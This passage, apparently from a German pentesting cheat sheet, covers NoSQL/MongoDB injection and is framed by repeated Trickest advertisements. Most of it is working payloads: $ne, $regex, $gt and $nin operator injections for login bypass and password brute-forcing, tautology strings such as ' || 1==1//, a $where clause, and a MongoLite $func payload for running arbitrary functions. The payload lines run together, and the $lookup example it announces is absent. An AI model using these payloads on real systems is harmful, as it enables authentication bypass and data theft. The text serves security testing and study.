Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Zugang heute erhalten:
In PHP können Sie ein Array senden, indem Sie den gesendeten Parameter von parameter=foo zu parameter[arrName]=foo ändern.
Die Exploits basieren auf dem Hinzufügen eines Operators:
username[$ne]=1$password[$ne]=1 #<Not Equals>username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1#Use the <regex> to find the length of a valueusername[$eq]=admin&password[$ne]=1#<Equals>username[$ne]=admin&pass[$lt]=s#<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s#<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7#<Matches non of the values of the array> (not test and not admin){ $where:"this.credits == this.debits"}#<IF>,canbeusedtoexecutecode
Ein Angreifer kann dies ausnutzen, indem er Zeichenfolgen wie admin' || 'a'=='a eingibt, wodurch die Abfrage alle Dokumente zurückgibt, indem die Bedingung mit einer Tautologie ('a'=='a') erfüllt wird. Dies ist analog zu SQL-Injection-Angriffen, bei denen Eingaben wie ' or 1=1-- - verwendet werden, um SQL-Abfragen zu manipulieren. In MongoDB können ähnliche Injektionen mit Eingaben wie ' || 1==1//, ' || 1==1%00 oder admin' || 'a'=='a durchgeführt werden.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Extrahiere Längeninformationen
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}# True if the length equals 1,3...
Mit dem $func Operator der MongoLite Bibliothek (standardmäßig verwendet) könnte es möglich sein, eine beliebige Funktion auszuführen, wie in diesem Bericht.
"user":{"$func":"var_dump"}
Informationen aus einer anderen Sammlung abrufen
Es ist möglich, $lookup zu verwenden, um Informationen aus einer anderen Sammlung abzurufen. Im folgenden Beispiel lesen wir aus einer anderen Sammlung namens users und erhalten die Ergebnisse aller Einträge, deren Passwort mit einem Platzhalter übereinstimmt.
HINWEIS:$lookup und andere Aggregationsfunktionen sind nur verfügbar, wenn die aggregate()-Funktion verwendet wurde, um die Suche durchzuführen, anstelle der häufigeren find()- oder findOne()-Funktionen.
Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Zugang heute erhalten:
Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Zugang heute erhalten: